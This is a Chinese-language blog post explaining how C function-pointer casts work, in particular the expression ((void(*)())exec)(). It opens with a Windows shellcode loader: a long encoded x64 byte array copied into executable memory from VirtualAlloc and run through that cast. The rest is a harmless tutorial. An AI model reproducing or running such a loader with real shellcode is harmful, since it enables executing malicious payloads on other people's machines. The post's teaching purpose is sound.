代码

#define _CRT_SECURE_NO_DEPRECATE

#include "Windows.h"

int main()
{
    unsigned char buf[] =
        "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
        "\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
        "\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
        "\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
        "\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
        "\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
        "\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
        "\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
        "\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
        "\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
        "\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
        "\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
        "\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
        "\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
        "\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
        "\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
        "\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
        "\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
        "\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
        "\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
        "\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
        "\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
        "\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
        "\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
        "\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
        "\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
        "\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
        "\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
        "\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
        "\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
        "\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
        "\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";


    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();

    return 0;
}

最终目标,理解((void(*)())exec)();到底是啥?

理解

明确完最终目标后,我们来一步步的学习理解。

我们首先来复习一下,如果变量fp是一个函数指针,那么如何调用fp所指向的函数呢?调用方法如下:

(*fp)();// 标准的调用方法
fp();   // 简写的调用方法,因为ANSI C标准允许程序员将上式简写

因为fp是一个函数指针,那么*fp就是该指针所指向的函数,所以(*fp)()就是调用该函数的方式。

这里用一段代码来理解一下函数指针怎么用:

#define _CRT_SECURE_NO_DEPRECATE
# include <stdio.h>
int Max(int, int);  //函数声明
int main(void)
{
    int (*p)(int, int);  //定义一个函数指针
    int a, b, c,d;
    p = Max;  //把函数Max赋给指针变量p, 使p指向Max函数
    printf("please enter a and b:");
    scanf("%d%d", &a, &b);

    c = p(a, b);    // 通过函数指针调用Max函数
    d = (*p)(a, b); // 这样调用也行

    printf("a = %d\nb = %d\nmax = %d,%d\n", a, b, c,d);
    return 0;
}
int Max(int x, int y)  //定义Max函数
{
    int z;
    if (x > y)
    {
        z = x;
    }
    else
    {
        z = y;
    }
    return z;
}

输出结果是:

please enter a and b:3 4
a = 3
b = 4
max = 4

看了这段代码,我想你已经大概知道函数指针要怎么用了。如果你还不清楚,请去http://c.biancheng.net/view/228.html再学习一下。

好的,那我们接着往下走。

上面那段代码中,int (*p)(int, int);,我们定义p是一个指向返回值为int类型的且有两个int类型参数的函数的指针,可能有点绕口,慢慢理解一下就行。

现在我们搞简单点,如果 fp是一个指向返回值为void类型的函数的指针 ,那么(*fp)()的值应为voidfp的声明如下:

void (*fp)();

当我们知道如何声明一个给定类型的变量,那么该类型的类型转换符就很容易得到了:把声明中的变量名和声明结尾的分号去掉,再将剩余的部分用括号括起来就行。那么上面的fp的声明void (*fp)();的类型转换符就可以得出来了,如下:

(void (*)())

表示一个指向返回值为void类型的函数的指针

到此为止,我们理解那段最终目标的代码所需要的前置知识已经全部复习完毕。

因此((void(*)())exec)();就可以拆开理解了

(     (void(*)())exec    )();
// 先看中间部分,将exec进行强制类型转化成:指向返回值为void类型的函数的指针
// 此时 exec 已经是一个函数指针了,现在回忆一下,刚刚我们是怎么调用 函数指针所指向的函数的呢?
// 没错,就是(*exec)(); 或者直接使用简写 exec();

参考

下面将从《C缺陷与陷阱》中摘取部分内容来方便理解





最后修改:2021 年 02 月 25 日 10 : 43 PM
如果觉得我的文章对你有用,请随意赞赏